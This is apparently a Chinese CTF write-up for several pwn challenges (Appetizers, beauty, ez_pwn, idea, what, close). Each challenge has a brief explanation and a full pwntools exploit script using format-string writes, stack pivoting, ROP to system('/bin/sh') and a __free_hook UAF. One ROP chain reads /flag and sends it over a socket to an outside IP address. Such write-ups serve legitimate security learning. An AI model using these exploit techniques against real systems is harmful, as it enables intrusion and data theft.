Appetizers_

image-20240517204918083

由于是根据system调用mmap系统调用,所以mmap映射的内存区域距离libc的偏移是固定的。

read读取的最低字节是异或的,高8字节是对于mmap映射区域的偏移。

因为偏移是固定的,所以就能先利用这个异或修改内存,将IO_stdout的write_ptr或者write_base修改一个高位字节,然后调用puts时,就会触发IO流输出write_ptr和write_base中间的内容。可以将libc地址以及stack地址都泄露出来。

因为开启了沙盒,并且关闭标准输入流和输出流,那么正常的ORW是读不到终端的。那么就利用socket系统调用,然后connect连接到VPS,write写到VPS上。

利用这个循环read,读/flag,以及ip和port和ORW链到mmap映射出的内存上。然后修改栈上的rbp和ret。控制rbp为ORW-8。控制ret为leave_ret。

修改leave_ret简单,将ret内容最低字节修改,即可控制为text段中的leave_ret。然后修改rbp栈迁移后就能跳转执行ORW。

其中ip_port需要进行编码一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
struct sockaddr_in *serv_addr = malloc(sizeof(struct sockaddr_in));
memset(serv_addr, 0, sizeof(struct sockaddr_in));
serv_addr->sin_family = AF_INET;
serv_addr->sin_addr.s_addr = inet_addr("211.159.174.30");
serv_addr->sin_port = htons(8888);

// 将结构体转换为字节数组
unsigned char *bytes = (unsigned char *)serv_addr;

// 打印输出
printf("0x");
for (size_t i = 0; i < sizeof(struct sockaddr_in); i++) {
printf("%02x", bytes[i]);
}
printf("\n");

free(serv_addr);
return 0;
}

然后转一下小端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('hnctf.yuanshen.life', 33667)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
stdout = 0x5000 + libc.sym['_IO_2_1_stdout_']
write_base = stdout + 0x20
write_ptr = stdout + 0x28
lg('stdout', stdout)
rl("start.")

payload = b'\x03' + p64(write_ptr+2)
# gdb.attach(p)
s(payload)
rl(b"\x0a\x00\x00\x00\x00")
libc_leak = uu64()
lg('libc_leak', libc_leak)
libc_base = libc_leak - 0x12f0 - libc.sym['_IO_2_1_stdout_']
lg('libc_base', libc_base)
offset = 0x69f8+0x11-0x17
target_length = 8

# 接收足够的字节来跳过不需要的数据
data = b''
while len(data) < offset:
data += p.recv(offset - len(data))

# 确保我们跳过了需要跳过的部分
assert len(data) == offset

# 现在接收目标数据
# target_data = p.recv(target_length)
stack_leak = uu64()
lg('stack_leak', stack_leak)

open = libc_base + libc.sym['open']
socket = libc_base + libc.sym['socket']
write = libc_base + libc.sym['write']


def exp(buf,addr):
payload = p8(buf) + p64(addr)
#gdb.attach(p)
s(payload)

libc.address = libc_base
libc_rop = ROP(libc)
pop_rax = libc_rop.find_gadget(['pop rax','ret'])[0]
pop_rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
pop_rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]
leave_ret = libc_rop.find_gadget(['leave','ret'])[0]
syscall_ret = libc_rop.find_gadget(['syscall','ret'])[0]

flag = '/flag\x00\x00\x00'
# gdb.attach(p)
for i in range(len(flag)):
exp(ord(flag[i]),0x100+i)

ip = p64(0x1eae9fd3b8220002)
for i in range(len(ip)):
exp(ip[i],0x180+i)

ip_addr = libc_base-0x5000+0x180
flag_addr = libc_base-0x5000+0x100

# #rop链
#socket(2,1,0)系统调用号为0x29
#connect(1,ip_port,0x10)系统调用号为0x2a
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) +p64(syscall_ret) +p64(pop_rdi)+p64(0)+ p64(pop_rsi) + p64(flag_addr) +p64(pop_rdx) +p64(0x50)*2 + p64(pop_rax) + p64(0) +p64(syscall_ret)+ p64(pop_rax) + p64(0x29) + p64(pop_rdi) + p64(2) + p64(pop_rsi) + p64(1) + p64(pop_rdx) + p64(0)*2+ p64(syscall_ret) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(ip_addr) + p64(pop_rdx) + p64(0x10)*2 + p64(pop_rax) + p64(0x2a) + p64(syscall_ret) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50)*2 + p64(pop_rax) + p64(1) + p64(syscall_ret)
print(len(payload))
lg('stack_leak', stack_leak)

for i in range(len(rop)):
exp(rop[i],0x200+i)

lg('stack_leak', stack_leak)
old_rbp_addr = stack_leak-0x138
lg('old_rbp_addr', old_rbp_addr)
offset = libc_base-0x5000
lg('target', offset)
lg("old_rbp_addr-target", old_rbp_addr-offset)
# print(hex(old_rbp-target))
# pause()
# payload = b'aaaaaaaa'
# gdb.attach(p)
# sl(payload)

# pause()
ret_addr = old_rbp_addr-offset+0x8
payload = p8(0x6b^0x7f) + p64(ret_addr)
s(payload)

old_rbp = old_rbp_addr+0x10
newrbp = libc_base - 0x5000 + 0x200 - 8
rop = p64(newrbp ^ old_rbp)

cmd = rop
for i in range(len(cmd)):
exp(cmd[i],old_rbp_addr-offset + i)

inter()

image-20240517210219757

beauty

image-20240517210552314

存在数组越界,通过控制idx,修改atoi的最低字节为printf的最低字节。因为此时这两个函数由于延迟绑定,都还未覆盖为真实函数addr,只有最低一字节不同,修改后了atoi就相当于利用了printf格式化字符串漏洞。

但是触发atoi需要有前提。

image-20240517210910957

需要绕过这一判断,因为变量类型不同,所以v2可以输入像0x1073这样来绕过对0x73的限制。

接下来就是利用格式化字符串漏洞泄露libc以及stack地址。

然后控制修改ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# -*- coding: utf-8 -*-
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('hnctf.yuanshen.life',33373)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
rl("Please input your idx:")
sl(str(-248))
rl("Please input your name:")
payload = 'a'*0x70
# gdb.attach(p)
s(payload)

def fmt(format):
rl("4. 彭仙女")
sl('4')
rl("Would you choose me if you had to do it all over again?")
payload = str(0x79)
sl(payload)
payload = str(0x65)
sl(payload)
payload = str(0x1073)
sl(payload)
rl("How many years will you be with me this time???")
sl(format)
# gdb.attach(p)
fmt('%43$p,%9$p')
rl("0x")
libc_leak = int(p.recv(12),16)
lg("libc_leak",libc_leak)
libc_base = libc_leak - 128 - libc.sym['__libc_start_main']
lg("libc_base",libc_base)
rl(",0x")
stack_leak = int(p.recv(12),16)
lg("stack_leak",stack_leak)
ret_addr = stack_leak+0xc8
lg("ret_addr",ret_addr)
ret_addr = ret_addr-0xa0
pop_rdi = 0x000000000002a3e5 + libc_base
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = 0x0000000000029139+libc_base
# lg("pop_rdi",pop_rdi)
# lg("binsh",binsh)
# lg("system",system)
# gdb.attach(p)
for i in range(3):
data = (ret>>(8*i))&0xff
lg("data",data)
payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+i)
fmt(payload)
for i in range(6):
data = (pop_rdi>>(8*i))&0xff
lg("data",data)
payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+8+i)
fmt(payload)
for i in range(6):
data = (binsh>>(8*i))&0xff
lg("data",data)
payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+16+i)
fmt(payload)
for i in range(6):
data = (system>>(8*i))&0xff
lg("data",data)
payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+24+i)
fmt(payload)
lg("pop_rdi",pop_rdi)
lg("binsh",binsh)
lg("system",system)
lg("ret_addr",ret_addr)

rl("4. 彭仙女")
sl('4')
rl("Would you choose me if you had to do it all over again?")
payload = str(0x1079)
sl(payload)
payload = str(0x65)
sl(payload)
payload = str(0x1073)
sl(payload)
rl("How many years will you be with me this time???")
sl('aaaa')


inter()

ez_pwn

image-20240517211228403

利用%s泄露ebp。然后控制ebp,利用程序结束的leave_ret。相当于两次栈迁移。跳转执行system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='i386', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('hnctf.imxbt.cn', 45529)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
rl("hat's your name?")
payload = 'a'*0x2b +'c'
s(payload)
rl("c")
stack_leak = uu32()
lg("stack_leak", stack_leak)


payload = p32(0x08048400) + p32(0) + p32(stack_leak-0x2c) + b'/bin;sh\x00'
payload = payload.ljust(0x2c,b'\x00')

payload += p32(stack_leak-0x3c)
# gdb.attach(p)
s(payload)


inter()

idea

利用格式化字符串漏洞泄露canary,然后利用整形溢出,有很大溢出空间,先泄露libc,再打ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='i386', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('hnctf.imxbt.cn', 28194)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
rl("How many bytes do you want me to read? ")
sl(str(-1))
rl("Ok, sounds good. I'll give u a gift!")
payload = '%7$p'
# gdb.attach(p)
sl(payload)

rl("0x")
canary = int(p.recv(8),16)
lg("canary",canary)
rl("bytes of data!")
payload = b'a'*32 + p32(canary) + b'a'*12 + p32(0x0804870D)
sl(payload)

rl("How many bytes do you want me to read? ")
sl(str(-1))
rl("Ok, sounds good. I'll give u a gift!")
payload = '%2$p'
sl(payload)
rl("0x")
libc_leak = int(p.recv(8),16)
puts = libc_leak - 11
lg("puts",puts)
libc_base = puts - libc.symbols['puts']
lg("libc_base",libc_base)
libc_base = puts - 0x05f150
system = libc_base + 0x03a950
binsh = 0x15912b + libc_base
rl("bytes of data!")
payload = b'a'*32 + p32(canary) + b'a'*12 + p32(system) + p32(0) + p32(binsh)
sl(payload)



inter()

what

UAF还有edit,打free_hook即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('hnctf.imxbt.cn', 48029)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.27.so')
def add(size):
rl("Enter your command:")
sl('1')
rl("size")
sl(str(size))
def delete():
rl("Enter your command:")
sl('2')

def show(index):
rl("Enter your command:")
sl('3')
rl("please enter idx:")
sl(str(index))
def edit(index, content):
rl("Enter your command:")
sl('4')
rl("please enter idx:")
sl(str(index))
rl("Please enter your content:")
sl(content)
# gdb.attach(p)
for i in range(9):
add(0x80)
for i in range(8):
delete()
show(1)
rl("Content:")
libc_leak = uu64()
lg("libc_leak", libc_leak)
libc_base = libc_leak-0x3ebca0
lg("libc_base",libc_base)

free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']

edit(2,p64(free_hook)+p64(0))
add(0x80)
add(0x80)
edit(2,p64(system))
add(0x100)
edit(3,'/bin/sh\x00')
delete()
# edit(1,'/bin/sh\x00')
# delete()



inter()

close

关闭了标准输出流,但是给了Shell

直接cat flag 1>&2

将输出流重定向到标准错误流